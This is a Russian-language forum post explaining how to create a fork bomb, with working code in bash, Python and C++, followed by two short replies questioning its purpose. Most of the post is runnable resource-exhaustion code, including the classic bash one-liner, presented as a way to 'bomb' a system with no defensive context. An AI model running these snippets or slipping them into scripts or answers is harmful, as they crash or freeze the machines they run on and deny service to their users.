Создание Fork Bomb

Dogger

Активный участник
Дней с нами
1.717
Розыгрыши
0
Сообщения
78
Репутация
1
Реакции
90
Создания Fork Bomb с использованием bash
В консоли Bash (в Linux-дистрибутивах):
Код:
:(){ :|:& };:
:
Описание кода:
:( ) Определяет функцию.
{ Открывает функцию.
:|: Загружает копию функции «:» в память.
‘:’ функция, вызываемая два раза, чтобы «бомбить» вашу систему.
& вызов функции в фоновом режиме. Начинает поглощать системные ресурсы.
} Закрытие функции.
; Разделителем команд.
: Запуск fork bomb
Выше предоставлен код рабочий, но не правильный. Так выглядит правильный код:
Код:
#!/usr/bin/env bash -x
bomb() {
bomb | bomb &
};
bomb

Форк бомба в Python
Код:
import os
while True:
os.fork()

Fork bomb на c++
Код:
#include <unistd.h>
int main(void)
{
while(1)
fork();
}

 
Интересно, но не очень понятно назначение. Это же просто бесконечный цикл на питоне и плюсах, а в баше - бесконечная рекурсия. И зачем?
И почему это называется "форк бомбой"?
 
  • Like
Реакции: sanef
Интересно, но не очень понятно назначение. Это же просто бесконечный цикл на питоне и плюсах, а в баше - бесконечная рекурсия. И зачем?
И почему это называется "форк бомбой"?
Это называется "чувак хочет кураторку"